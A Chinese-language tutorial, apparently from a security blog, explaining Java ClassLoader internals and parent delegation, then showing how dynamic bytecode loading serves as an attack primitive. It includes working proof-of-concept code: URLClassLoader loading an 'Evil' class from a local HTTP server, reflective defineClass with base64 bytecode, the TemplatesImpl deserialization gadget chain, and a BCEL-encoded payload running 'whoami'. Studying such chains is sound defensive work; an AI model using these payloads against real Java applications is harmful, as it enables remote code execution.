ClassLoader

前言

Java是一个依赖于JVM实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVMnative方法来定义一个java.lang.Class实例。

类加载器分类

JVM默认类加载器

JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)Extension ClassLoader(扩展类加载器)App ClassLoader(系统类加载器)AppClassLoader是默认的类加载器,当不指定类加载器的情况下进行类加载时,默认会使用AppClassLoader加载类。

BootstrapClassLoader

引导类加载器BootstrapClassLoader底层原生代码由C++语言进行编写,属于JVM一部分,不继承java.lang.ClassLoader类,也没有父加载器,主要负责加载核心Java库,即JVM本身,存储在/jre/lib/rt.jar目录当中,该目录当中的类都是由BootstrapClassLoader来加载。

同时,为了安全考虑,BootstrapClassLoader只加载包名为javajavaxsun等开头的类。

ExtensionsClassLoader

扩展类加载器ExtensionsClassLoadersun.misc.Launcher$ExtClassLoader类实现,用来在/jre/lib/ext或者java.ext.dirs中指明的目录加载Java的扩展库。

AppClassLoader

系统类加载器AppClassLoadersun.misc.Launcher$AppClassLoader实现,一般通过java.class.path或者Classpath环境变量来加载Java类。通常使用这个加载类来加载Java应用类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader

自定义类加载器

除了上述Java自带提供的类加载器,还可以通过继承java.lang.ClassLoader类的方式实现自定义类加载器。

在ClassLoader里面有三个重要的方法: loadClass、findClass和defineClass。

loadClass方法是加载目标类的入口,它首先会查找当前ClassLoader以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载。当双亲都无法进行加载时,会调用findClass方法让自定义加载器自己来加载目标类,ClassLoader的findClass方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码,拿到字节码后再调用defineClass方法将字节码转换成Class对象。

Class.forName和ClassLoader.loadClass都是常见的类动态加载方式,但是它们之间也有着区别。

  1. 那就是Class.forName方法可以获取原生类型的Class,而ClassLoader.loadClass方法则会报错。
  2. Class.forName方法默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName(“类名”, 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

自定义加载器实现过程伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class ClassLoader {

// 加载入口,定义了双亲委派规则
Class loadClass(String name) {
// 是否已经加载了
Class t = this.findFromLoaded(name);
if(t == null) {
// 交给双亲
t = this.parent.loadClass(name)
}
if(t == null) {
// 双亲都不行,只能靠自己了
t = this.findClass(name);
}
return t;
}

// 交给子类自己去实现
Class findClass(String name) {
throw ClassNotFoundException();
}

// 组装Class对象
Class defineClass(byte[] code, String name) {
return buildClassFromCode(code, name);
}
}

class CustomClassLoader extends ClassLoader {

Class findClass(String name) {
// 寻找字节码
byte[] code = findCodeFromSomewhere(name);
// 组装Class对象
return this.defineClass(code, name);
}
}

ClassLoader类加载流程

  1. 首先,ClassLoader会调用loadClass方法加载类
  2. loadClass方法先调用findLoadedClass方法检查类是否已经初始化,如果JVM已初始化过该类则直接返回类对象
  3. 如果创建当前ClassLoader时传入了父类加载器,就使用父类加载器加载类,否则使用Bootstrap ClassLoader进行加载
  4. 如果上一步无法加载类,那么调用自身的findClass方法尝试加载类
  5. 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常;如果当前类重写了findClass方法并通过传入的类名找到了对应的类字节码,那么调用defineClass方法去JVM中注册该类
  6. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false
  7. 最后,返回一个被JVM加载后的java.lang.Class类对象

双亲委派机制

由于AppClassLoader只负责加载Classpath下的类库,因此当AppClassLoader遇到没有加载的系统类库时,会将系统类库的加载工作交给BootstrapClassLoader和ExtensionClassLoader,这就是双亲委派。

在下图中,AppClassLoader在加载一个未知的类名时,并不是立即去搜寻Classpath,它会首先将这个类名称交给ExtensionClassLoader来加载,如果ExtensionClassLoader可以加载,那么AppClassLoader就不会进行加载,否则的话AppClassLoader会搜索Classpath。ExtensionClassLoader在加载一个未知的类名时,也并不是立即搜寻ext路径,它会首先将类名称交给BootstrapClassLoader来加载,如果BootstrapClassLoader可以加载,ExtensionClassLoader也不会对其进行加载,否则的话才会搜索ext路径下的jar包。

AppClassLoader、ExtensionClassLoader、BootstrapClassLoader三者之间形成了一个级联的父子关系,优先把任务交给其父亲,当其父亲无法完成任务时才会轮到自己,在每个ClassLoader对象的内部都会存在一个parent属性指向自己的父加载器。
还需要注意的一点是,上图中的ExtensionClassLoader的parent指针是画的虚线,这是因为它的parent的值是null,当parent字段是null时,表示它的父加载器是根加载器,当Class对象的classLoader属性值是null时,就表示这个类也是根加载器加载的。

动态加载字节码

URLClassLoader加载远程字节码文件

URLClassLoader实际上是平时默认使用的AppClassLoader的父类,正常情况下Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找class文件来加载,而这个基础路径又分为三种情况。

1
2
3
[1] URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
[2] URL以斜杠/结尾,且协议名是file,则使用FildLoader来寻找类,即为在本地系统中寻找.class文件
[3] URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

注意,要利用基础的Loader类来寻找这一点必须是非file协议的情况下,JAVA默认提供了对file,ftp,gopher,http,https,jar,mailto和netdoc协议的支持。

  • 恶意类
1
2
3
4
5
6
7
import java.io.*;

public class Evil {
public Evil() throws IOException {
Runtime.getRuntime().exec("open -a /System/Applications/Calculator.app");
}
}
  • 利用HTTP服务加载class文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.classloader;

import java.net.URL;
import java.net.URLClassLoader;

public class URLClassloaderTest {

public static void main(String[] args) throws Exception {
URL[] urls = {new URL("http://127.0.0.1:2223/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class _class = loader.loadClass("Evil");
_class.newInstance();
}
}

ClassLoader加载字节码

不管是加载远程class文件还是本地的class或jar文件,Java都经历的是下面这三个方法的调用: ClassLoader#loadClass–>ClassLoader#findClass–>ClassLoader#defineClass。

1
2
3
[1] loadClass的作用是从已加载的类缓存,父加载器等位置寻找(双亲委派机制),在前面没有找到的情况下,执行findClass
[2] findClass的作用是根据URL指定的方式来加载类的字节码,可能会在本地系统,jar包或远程http服务器上读取字节码,然后将其交给defineClass
[3] defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

编译恶意类的class文件,然后用defineClass去加载它。需要注意的是,ClassLoader#defineClass返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以需要想办法调用返回的类的构造函数来执行命令。在实际场景中,由于defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是攻击链TemplatesImpl的基石。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example.classloader;

import java.lang.reflect.Method;
import java.util.Base64;

public class DefineClassLoaderTest {

public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwABwAIBwAXDAAYABkBACtvcGVuIC1hIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAaABsBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAABwAEAAgADQAJAAsAAAAEAAEADAABAA0AAAACAA4");
Class Evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Evil", code, 0, code.length);
Evil.newInstance();
}
}

TemplatesImpl加载字节码

上文提到了,ClassLoader#defineClass方法只能通过反射调用,在实际环境中很难有利用场景。在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中的内部类TransletClassLoader重写了defineClass,并且该处没有显式地声明其定义域。在Java中,默认情况下,如果一个方法没有显式声明作用域,则其作用域为default,也就是说这里的defineClass由其父类的protected类型变成了一个允许被外部调用的default类型方法。

但是TransletClassLoader是内部类,只允许TemplatesImpl类中的方法调用,跟进一下发现TemplatesImpl类中只有方法TemplatesImpl#defineTransletClasses用到了TransletClassLoader类,但是TemplatesImpl#defineTransletClasses方法是private类型。

继续跟一下TemplatesImpl#defineTransletClasses方法,一共有三个方法调用了它。

1
2
3
private synchronized Class[] getTransletClasses() {}
public synchronized int getTransletIndex() {}
private Translet getTransletInstance() {}

接着上面的三个利用点进一步分析,getTransletIndex方法可以直接作为一个触发的点,但是测试后并没有成功触发,而getTransletClasses方法在TemplatesImpl类中已经没有继续被调用了,因此只剩下getTransletInstance方法,再跟一下发现TemplatesImpl#newTransformer方法调用了它,这里也可以作为一个触发点,继续跟下去发现TemplatesImpl#getOutputProperties方法调用了TemplatesImpl#newTransformer方法,因此这里也可以作为一个触发点。

由上可以得到两条调用链:

1
2
3
[1] TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()  

[2] TemplatesImpl#getOutputProperties() ->TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

那么为什么getTransletIndex方法无法触发呢?上文说到,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数。对于getTransletIndex方法,虽然有执行到defineClass,但后面并没有对这个类对象进行实例化,也就是说并没有调用其构造函数,因此无法触发漏洞。反观TemplatesImpl#newTransformer方法,在调用完TemplatesImpl#defineTransletClasses方法后又调用了newInstance构造函数,所以能够完成后续操作,触发恶意代码。

在构造利用链的过程中,还需注意以下几点:

  1. TemplatesImpl中对加载的字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTest extends AbstractTranslet {

public EvilTest() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
  1. TemplatesImpl中_name属性值必须不为null

  1. TemplatesImpl_tfactory属性值必须是TransformerFactoryImpl实例

TemplatesImpl完整利用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example.classloader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Field;

public class TemplatesImplClassLoaderTest {

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.example.classloader.EvilTest.class.getName());
byte[] code = clazz.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "EvilTest");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

BCEL ClassLoader

BCEL是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过将原包名org.apache.bcel.util.ClassLoader修改为com.sun.org.apache.bcel.internal.util.ClassLoaderBCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload

BCEL兼容性问题

Oracle自带的BCEL是修改了原始的包名,因此也有兼容性问题,已知支持该特性的JDK版本为:JDK1.5-1.7、JDK8-JDK8u241、JDK9,BCEL Classloader在JDK8u251之前是在rt.jar里面。
同时在Tomcat中也会存在相关的依赖:

  1. Tomcat7:org.apache.tomcat.dbcp.dbcp.BasicDataSource
  2. Tomcat8及其以后:org.apache.tomcat.dbcp.dbcp2.BasicDataSource

BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes就已经过时了,因此利用时需要注意JDK版本是否JDK8u251之后的。

1
2
3
4
5
6
7
8
/**
* @param bytes the raw bytes of this Utf-8
* @deprecated (since 6.0)
*/
@java.lang.Deprecated
public final void setBytes( final String bytes ) {
throw new UnsupportedOperationException();
}

BCEL攻击原理

BCEL包中有一个类com.sun.org.apache.bcel.internal.util.ClassLoader重写了Java内置的ClassLoader#loadClass方法,在重写的方法中,会判断类名是否是$$BCEL$$开头,如果是的话,接着调用createClass方法拿到一个JavaClass对象,最终通过defineClass加载字节码还原类。

跟进com.sun.org.apache.bcel.internal.util.ClassLoader#createClass方法,可以看到其获取JavaClass对象时,会进行一个decode操作。

对于encode操作,直接调用com.sun.org.apache.bcel.internal.classfile.Utility#encode方法来加密恶意类即可。

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example.classloader;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.InputStream;
import java.util.Arrays;

public class BCELClassLoaderTest {

public static void main(String[] args) {
try {
// 获取class
JavaClass javaClass = Repository.lookupClass(Evil.class);
System.out.println(Arrays.toString(javaClass.getBytes()));
// 编码为bcel格式
String code = Utility.encode(javaClass.getBytes(), true);
// 加载类: 调用 exec 方法执行命令
Process command = (Process) new ClassLoader().loadClass("$$BCEL$$" + code).getMethod("exec", String.class).invoke(null, "whoami");
// 读取数据
System.out.println(getCommandResult(command));
} catch (Exception e) {
e.printStackTrace();
}
}

// 读取命令执行的结果
public static String getCommandResult(Process process) {
InputStream inputStream = process.getInputStream();
byte[] bytes = new byte[1024];
int len;
String res = "";

try {
while ((len = inputStream.read(bytes)) != -1) {
res = res.concat(new String(bytes, 0, len));
}
} catch (Exception e) {
e.printStackTrace();
}

return res;
}
}